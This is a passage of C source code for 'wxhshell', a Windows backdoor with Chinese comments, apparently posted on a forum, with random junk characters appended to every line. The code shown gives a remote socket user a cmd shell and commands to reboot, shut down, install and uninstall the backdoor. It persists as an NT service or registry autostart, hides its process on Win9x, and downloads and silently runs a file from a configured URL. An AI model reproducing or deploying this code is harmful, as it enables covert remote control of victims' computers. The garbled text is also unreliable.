  // 帮助 nmZJ%n  
  case '?': { y`OL^D4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nwm1YPs%v]  
    break; (n,!v)  
  } fudIUG.  
  // 安装 o@&d d NO  
  case 'i': { l6lyRJ  
    if(Install()) hh<Es|v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3M[b)At V.  
    else a!US:^}lu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h^}r$k_n  
    break; dwc$#cMf  
    } igD,|YSK`z  
  // 卸载 n rpxZA  
  case 'r': {  \tWFz(  
    if(Uninstall()) VTt{ 0 ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FX#fh 2  
    else #AJo75E%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ![,W?  
    break; _s_%}8o  
    } *uq}jlD`!  
  // 显示 wxhshell 所在路径 3bi,9 >%  
  case 'p': { ?Gq|OT 8  
    char svExeFile[MAX_PATH]; nd[{DF?)/  
    strcpy(svExeFile,"\n\r"); NdW2OUxw"  
      strcat(svExeFile,ExeFile); D^5bzZk N  
        send(wsh,svExeFile,strlen(svExeFile),0); 6HW8mXQh<h  
    break; 4/Yk;X[jk  
    } 5fdB<& 9  
  // 重启 XOe8(cXa9  
  case 'b': { C;6Nu W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fQ,L~:Y =  
    if(Boot(REBOOT)) rIt#ps  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8JU9Qb]L'I  
    else { ?<iinx   
    closesocket(wsh); 0;kp`hB  
    ExitThread(0); $# /-+>  
    } |9F^"7Q~C  
    break; w<ol$2&B  
    } 2V 1|b`b#4  
  // 关机 BSGC.>$s  
  case 'd': { wewYlm5@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VNmQ'EuV}2  
    if(Boot(SHUTDOWN)) 5IPZ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Cpy )D(  
    else { vThK@P!s  
    closesocket(wsh); O7_u9lz2  
    ExitThread(0); R4V~+tnbG&  
    } v?U;o&L(  
    break; xSQ:#o=8G  
    } i'$V'x'k  
  // 获取shell VR@V3 ~  
  case 's': { {F/0pvP9  
    CmdShell(wsh); E26zw9d  
    closesocket(wsh); Sl8A=Ez  
    ExitThread(0); h}k/okG  
    break; NRM=0-16u$  
  } VoOh$&"M  
  // 退出 a&Stdh  
  case 'x': { KL8G2"Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2k}" 52  
    CloseIt(wsh); Wy[Ua#Dd  
    break; )e$}sw{t  
    } |(Bc0sgw}  
  // 离开 7ktSj}7W]  
  case 'q': { JYt)4mOo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vg 6/1I  
    closesocket(wsh); K|q5s]4I  
    WSACleanup(); 0.9%m7.m  
    exit(1); i58&o@.H<u  
    break; VuOZZ7y  
        } CBqeO@M  
  } ^*{:;F@  
  } 1gA9h-'w  
't+ J7  
  // 提示信息 V6:S<A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,-11w7y\  
} Y-Zw'  
  } "h-G=vo,kl  
<}@*i  
  return; XA&Vtgu  
} 6`tc]a"#Zb  
Rd?8LLz  
// shell模块句柄 s\)0f_I  
int CmdShell(SOCKET sock) zPonG d1  
{ LRJY63A  
STARTUPINFO si; Md4hd#z  
ZeroMemory(&si,sizeof(si)); HinPO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m zh8<w?ns  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {<~oa+"  
PROCESS_INFORMATION ProcessInfo; ps DY}y\"  
char cmdline[]="cmd"; \; 9log<Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,eI2#6w|C  
  return 0; 3y[6n$U&  
} XB8g5AxR  
^dR="N  
// 自身启动模式 >9Yo:b:f  
int StartFromService(void) B1x# 7>K  
{ N-0kB vo  
typedef struct 9vQI ~rz?  
{ Y ]xFe>  
  DWORD ExitStatus; Z%Kkh2-uh  
  DWORD PebBaseAddress; }#u.Of`6"  
  DWORD AffinityMask;  b6`_;Z  
  DWORD BasePriority; =RA8^wI  
  ULONG UniqueProcessId; Oy,7>vWQI  
  ULONG InheritedFromUniqueProcessId; FN$sST  
}   PROCESS_BASIC_INFORMATION; Bb,l.w  
eucacXiZ  
PROCNTQSIP NtQueryInformationProcess; N(6Q`zs  
>1}RiOd3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4"om;+\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I%^Bl:M  
K1th>!JW'  
  HANDLE             hProcess; 6n|R<DO%\  
  PROCESS_BASIC_INFORMATION pbi; p;y\%i_  
Y#VtZTcT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,P%a0\  
  if(NULL == hInst ) return 0; {Wi)/B}  
>/r^l)`9_f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =t/ "&[r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rZij[6]Y^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); % `4\ 8H`  
wM-I*<L>  
  if (!NtQueryInformationProcess) return 0; 5~,/VV  
DOsQVdH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T{A_]2 G  
  if(!hProcess) return 0; -4%{Jb-1  
g< F7UA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &>@  
hT=6XO od4  
  CloseHandle(hProcess); :t7M'BSm2z  
pie,^-_.g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^69ZX61vt  
if(hProcess==NULL) return 0; 8\N`2mPt  
>FR;Ux~a  
HMODULE hMod; A-&'/IHR"B  
char procName[255]; )YtdU(^J$  
unsigned long cbNeeded; kBRy(?Mft&  
j>}<FW-N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6h5,XcO4  
0b)q,]l]  
  CloseHandle(hProcess); {:63% j  
iI]E%H}  
if(strstr(procName,"services")) return 1; // 以服务启动 I+!?~]AUuq  
@VzD> ?)  
  return 0; // 注册表启动 ~S85+OJ;M  
} pzQWr*5a  
kKFhbHUZa  
// 主模块 (}4]U=/nV  
int StartWxhshell(LPSTR lpCmdLine) h1(GzL%i_  
{ +o4W8f=Ga  
  SOCKET wsl; fz[-pJ5[  
BOOL val=TRUE; _Nx#)(x  
  int port=0; o^\L41x3  
  struct sockaddr_in door; yP~O C|Z  
,. K}uW  
  if(wscfg.ws_autoins) Install(); IyV%tOy  
Z ? F*Z0y  
port=atoi(lpCmdLine); (6Y.|u]bq  
 EOn[!  
if(port<=0) port=wscfg.ws_port; Pf,lZU?f  
]\.3<^  
  WSADATA data; 3G.-JLhs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s|O4 >LsG  
<5xlP:Cx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O-N@HZC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tLD(%s_  
  door.sin_family = AF_INET; GGWdMGI/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4g "_E  
  door.sin_port = htons(port); zz7#g U  
ssx #\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0sR+@\  
closesocket(wsl); 6p}dl>T_y  
return 1; 8rNRQOXOa  
} j,J/iJs  
{S Oy-  
  if(listen(wsl,2) == INVALID_SOCKET) { ~stG2^"[  
closesocket(wsl); ?O|CY  
return 1; UWPzRk#s"  
} l2S1?*  
  Wxhshell(wsl); 3c|u2Pl  
  WSACleanup(); m35$4  
M,R**z  
return 0; N+#lS7  
B=;p wX  
} 5i eF8F%  
OngUZMgdb  
// 以NT服务方式启动 ^rX5C2}G\D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q Q/<\6Sl  
{ VmbfwHRWb  
DWORD   status = 0; "Ei' FM  
  DWORD   specificError = 0xfffffff; BM+>.  
{I9<W'k{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .1@8rVp7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;&~9k?v7L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,mY3oyu  
  serviceStatus.dwWin32ExitCode     = 0; rF:l+I]  
  serviceStatus.dwServiceSpecificExitCode = 0; <AN=@`+  
  serviceStatus.dwCheckPoint       = 0; C U 8s*  
  serviceStatus.dwWaitHint       = 0; : 6|nXL  
z<~yns`Y.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J^xIfV~ zt  
  if (hServiceStatusHandle==0) return; f.{/PL  
&~MM\,KML  
status = GetLastError(); -SeHz.` N  
  if (status!=NO_ERROR) j}F;Bfq!  
{ '0tNo.8K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }P(<]UF  
    serviceStatus.dwCheckPoint       = 0; 0/~20KD{s  
    serviceStatus.dwWaitHint       = 0; E8Y(C_:s  
    serviceStatus.dwWin32ExitCode     = status; |j w{7\+  
    serviceStatus.dwServiceSpecificExitCode = specificError; p8bAz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |3K]>Lio  
    return; J*zm*~8\  
  } |k [hk  
hha!uD~(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dZ;rn!dg>  
  serviceStatus.dwCheckPoint       = 0; s^lm 81;  
  serviceStatus.dwWaitHint       = 0; ^a #  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RkTO5XO  
} M WHzrqCA  
7c>{og6  
// 处理NT服务事件,比如:启动、停止 Cz)/Bq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SYaL@54  
{ Nxr%xTD  
switch(fdwControl) {Hr P;)  
{ 5y8ajae:  
case SERVICE_CONTROL_STOP: e00s*LdC  
  serviceStatus.dwWin32ExitCode = 0; gg+!e#-X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ps&p|  
  serviceStatus.dwCheckPoint   = 0; *;!p#qL  
  serviceStatus.dwWaitHint     = 0; c[zaYcbl  
  { &$<7]a\dM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rd hM#?  
  } eGE[4Z  
  return; b 8~7C4  
case SERVICE_CONTROL_PAUSE: 'joE-{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {+  @M!  
  break; /`H{ n$  
case SERVICE_CONTROL_CONTINUE: 34s>hm=0.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bQBYzvd  
  break; yh{Wuz=T  
case SERVICE_CONTROL_INTERROGATE: 3+tr_psH  
  break; m`B .3  
}; US2Tdmy@05  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &?(472<f**  
} daN#6e4Z+;  
NU |vtD  
// 标准应用程序主函数 [D= KI&@&O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GGF;4  
{ "Wz74ble  
 FtmI\,  
// 获取操作系统版本 H;kk:s'  
OsIsNt=GetOsVer(); { cMf_qQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r]yI5 ;  
YH-+s   
  // 从命令行安装 FTT=h0t  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y1s3 >`  
jQRl-[n  
  // 下载执行文件 h$#zuqm  
if(wscfg.ws_downexe) { g'nN#O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wfY]J0l  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,`.`}'  
} w829 8Kl  
^/_1y[j  
if(!OsIsNt) { .In8!hjYy4  
// 如果时win9x,隐藏进程并且设置为注册表启动 <h[l)-86  
HideProc(); u(bPdf@kz  
StartWxhshell(lpCmdLine); 5l,Q=V^@l  
} yE>f.|(  
else $,DX^I%!  
  if(StartFromService()) 0{zA6Xu  
  // 以服务方式启动 ,W:Bh$%  
  StartServiceCtrlDispatcher(DispatchTable); K.I  \E  
else le.(KgRS4  
  // 普通方式启动 bc ;(2D  
  StartWxhshell(lpCmdLine); >^(Q4eU7!  
3E`poE  
return 0; |C_sP,W  
}
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只看该作者 1 发表于: 2006-10-10
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